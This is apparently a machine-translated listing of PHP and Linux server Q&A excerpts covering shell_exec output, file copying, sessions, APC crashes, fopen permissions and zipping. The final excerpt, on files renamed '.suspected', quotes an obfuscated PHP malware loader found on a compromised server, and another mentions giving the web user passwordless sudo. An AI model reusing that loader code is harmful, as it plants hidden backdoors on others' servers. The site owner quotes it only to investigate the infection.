Articles of PHP的

如何在PHP中处理shell输出

我正在尝试编写一些PHP报告function的shell脚本。 所以我开始使用diskusage报告 我想要以下格式 drive path ————total-size ——–free-space 没有其他的 我的脚本是 $output = shell_exec('df -h -T'); echo "<pre>$output</pre>"; 其输出如下所示 Filesystem Type Size Used Avail Use% Mounted on /dev/sda6 ext3 92G 6.6G 81G 8% / none devtmpfs 3.9G 216K 3.9G 1% /dev none tmpfs 4.0G 176K 4.0G 1% /dev/shm none tmpfs 4.0G 1.1M 4.0G 1% /var/run none tmpfs […]

将所有文件和文件夹从一个目录复制到另一个目录PHP

我有名为“mysourcedir”的目录,它有sonme文件和文件夹。 所以我想从这个目录中的所有内容复制到使用PHP的Linux服务器上的其他“目标文件夹”。 function full_copy( $source, $target ) { if ( is_dir( $source ) ) { @mkdir( $target ); $d = dir( $source ); while ( FALSE !== ( $entry = $d->read() ) ) { if ( $entry == '.' || $entry == '..' ) { continue; } $Entry = $source . '/' . $entry; if […]

使www.example.com和example.com使用相同的会话variables的最佳方法是什么?

我在网页上工作(让我们称之为example.com),并在CNAME(别名)下添加DNSlogging: Host Record Points to TTL www example.com 14400 但是,当我浏览example.com时,如果我访问www.example.com,那么所设置的会话variables不会保留 使www.example.com和example.com使用相同的会话variables的最佳方法是什么? 我使用的是Ubuntu 12.04,php5,apache2。 <VirtualHost *:80> ServerAdmin webmaster@localhost ServerName www.example.com Redirect 301 / http://example.com/ DocumentRoot /var/www/public_html <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /var/www/public_html> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory> ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options +ExecCGI […]

APC和孩子pid XXXXX退出信号分割故障

首先,我在服务器上安装了xCache,在我的服务器上有很多xCache,但在这几天之后,除了在apache错误日志中出现这个错误的空白页之外, child pid XXXXX exit signal Segmentation fault 据我所知,这意味着某种内存腐败。 所以我从php.ini中删除了xCache并安装了APC。 但现在情况更糟了。 一小时或更less/更多的服务器变得无法响应。 我可以清楚地看到在我的网站的服务器状态,W模式下有很多连接。 他们没有任何共同之处 其中一些是从Joomla(第一页)和一些从vBulletin(论坛)和其他一些是关于其他自定义代码。 如果我让它更多的时间,我会在Apache错误日志中有这个错误: Server reached MaxClients setting, consider raising the MaxClients setting Apache是​​在mod_php和mod_ruid2模式。 这是挂起时服务器状态的结果: Server uptime: 52 minutes 57 seconds Total accesses: 31025 – Total Traffic: 279.0 MB CPU Usage: u418.14 s64.28 cu0 cs0 – 15.2% CPU load 9.77 requests/sec – 89.9 […]

如何从PHP执行交互式命令?

我需要从PHP脚本(使用浏览器,而不是命令行)在我的桌面机器(localhost)中执行kdiff3命令。 我已经授予执行脚本的用户www-data使用visudo执行kdiff3的权限。 事实上,如果我作为万维网数据login,我可以执行它没有问题( sudo kdiff3 … ,它被configuration为根本不要求密码)。 问题是当我尝试从PHP脚本执行这个命令。 我试过这个: $output = shell_exec("sudo kdiff3 -m $file.def.old $file $file.def -o $file"); 没有任何反应(输出为NULL)。 如果我尝试一个非交互式命令,像ls它的工作: $output = shell_exec("ls"); 发生了什么? 为什么不能执行交互式命令?

function.fopen:未能打开stream:在PHP中的权限被拒绝

我正在尝试从我的PHP应用程序为我的网站创buildXML站点地图。 这个想法是要么创build一个新的文件,要么覆盖现有的文件。 当我打电话时,我得到以下错误: [function.fopen]: failed to open stream: Permission denied 我试图写入到webroot,它的权限是:755.这意味着所有者拥有写权限,对吗? 我需要做什么才能让我的脚本能够写入这个文件夹? 777会是一件坏事,对吗? 我可以以某种方式运行我的脚本吗? 谢谢。

fopen()无法在linux上创build文件

我试图通过fopen()创build一个文件如下: <?php $handle = fopen('name.txt', 'w') or die('Can\'t create file'); fwrite($handle, 'Hamed'."\n"); fwrite($handle, 'Kamrava'."\n"); echo 'File was created successfully'; ?> 但不创build该文件,并让我: Can't create file PS: 我在Linux / Ubuntu上使用LAMP服务器。 我在创build该文件之前已经尝试了下面的命令: sudo chmod -R 755 ~/public_html/ 任何想法,将不胜感激。

如何压缩文件夹没有完整的path

首先我不是哪个是正确的stackExchange网站发布这个问题,如果问题是其他堆栈网站,请删除我的问题。 现在让我们来谈谈这个问题:这种情况是我有一个文件位于: /home/user/public_html/folder-one/folder-two/folder-three/file.php文件必须创build文件夹/folder-one包含/folder-one所有文件和子文件/folder-one 。 我使用系统函数(exec(),shell_exec()或system())创build存档,并且它工作得很完美。 我的代码是: <?php $output = 'zip -rq my-zip.zip /home/user/public_html/folder-one -x missthis/\*'; shell_exec($output); ?> 但是,当我下载并打开存档时,存档包括子文件夹/home ; /user ; /public_html但这个文件夹是完全不需要的,我想知道如何创buildzip没有他们。 当我尝试这样的事情$output = 'zip -rq my-zip.zip ../../../folder-one -x missthis/\*'; 但是当我打开文件夹(基于Windows 7的操作系统)时,文件夹的名称是../folder-one 后记:如果有人给我正确的 $output 基于Windows的托pipe计划制作拉链 将会更好 。 最好的问候,乔治!

PDO:如何访问Linux上的Microsoft Access文件?

我已经设法读取Windows上使用PDO的Microsoft Access文件(.accdb)的数据,但我有问题在Linux(CentOS)上工作。 我可以看到模块安装: [root@rapid host]# php -m | grep PDO PDO PDO_ODBC [root@rapid host]# php -m | grep odbc odbc 码: <?php try{ $dbhAccess = new PDO("odbc:Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=/root/access/data.accdb;Uid=Admin"); } catch(PDOException $e){ echo $e->getMessage(); exit(); } 我执行(CLI)PHP文件时遇到错误: [root@rapid host]# php access.php SQLSTATE[IM002] SQLDriverConnect: 0 [unixODBC][Driver Manager]Data source name not found, and no default […]

php文件自动改名为php.suspected

自从最近4天以来,我们的生产服务器(AWS EC2实例)面临一个特殊的问题,即只有一个SugarCRM站点。 问题是/home/site_folder/public_html/include/MassUpdate.php文件被自动更名为/home/site_folder/public_html/include/MassUpdate.php.suspected 这种情况一天发生2-3次,间隔3-4小时。 只有特定站点的情况下才会出现此问题,即使它不在同一站点的临时副本中进行。 我甚至从两个站点检查该文件的代码,这是一样的。 我们已经谷歌search,发现这种问题主要发生在WordPress的网站,这可能是因为攻击。 但是,我们检查了我们的服务器对攻击,没有任何。 此外,服务器上没有运行病毒/恶意软件扫描。 我们应该做什么? 更新:通过这个链接后我们发现了一些东西我们执行了egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/发现下面的示例代码很less有文件。 <?php function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];} $ixo="base64_decode";return $ixo($ggy);} $s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'. '0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X='; $koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', […]